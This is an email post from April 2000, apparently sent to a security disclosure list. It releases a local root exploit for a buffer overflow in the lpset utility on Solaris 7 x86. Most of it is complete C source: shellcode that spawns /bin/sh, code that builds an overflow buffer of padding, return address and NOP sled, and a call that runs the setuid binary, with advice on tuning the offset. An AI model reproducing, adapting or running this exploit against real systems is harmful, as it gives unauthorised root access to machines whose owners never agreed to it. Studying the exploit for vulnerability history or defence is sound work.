Date: Mon, 24 Apr 2000 15:24:50 +0000
From: Theodor Ragnar Gislason <[email protected]>
To: [email protected]Subject: Solaris 7 x86 lpset exploit.
Solaris 7 x86 /usr/bin/lpset overflow, there is a small overflow(32 bytes)
in lpset which will yield root access if properly exploited.
There is a sparc version avail for this bug, the bug was discovered by
duke some time ago.
I am releasing this exploit because of a copy-cat exploit on hack.co.za.
For this exploit we use AAAA,RET,NOP,CODE.
/*
*
* solaris 2.7 lpset local exploit, i386.
* discovered by: duke
* not the same as on bt.
* if exploit dosen╢t work try offset from 300-450
*
* greets: duke, #!ADM, #!security.is, #hax
*
* DiGiT - [email protected]
*
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
long get_esp() { __asm__("movl %esp,%eax"); }
int main (int argc, char *argv[]) {
long offset=410;
int nop=64;
int gab=40;
long addr;
char buffer[210];
int i, a, b;
if (argc > 1) offset = strtol(argv[1], NULL, 0);
if (argc > 2) gab = strtol(argv[2], NULL, 0);
if (argc > 3) nop = strtol(argv[2], NULL, 0);
for (a = 0; a <gab; a++)
buffer[a] = 'A';
addr = get_esp() + offset;
buffer[a++] = addr & 0x000000ff;
buffer[a++] = (addr & 0x0000ff00) >> 8;
buffer[a++] = (addr & 0x00ff0000) >> 16;
buffer[a++] = (addr & 0xff000000) >> 24;
for ( ; a < nop; a++)
buffer[a] = 0x90;
for (b = 0; b < strlen(shellcode); b++, a++)
buffer[a] = shellcode[b];
buffer[strlen(buffer)] = '\0';
printf("addr = 0x%x\n", addr);
execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
}
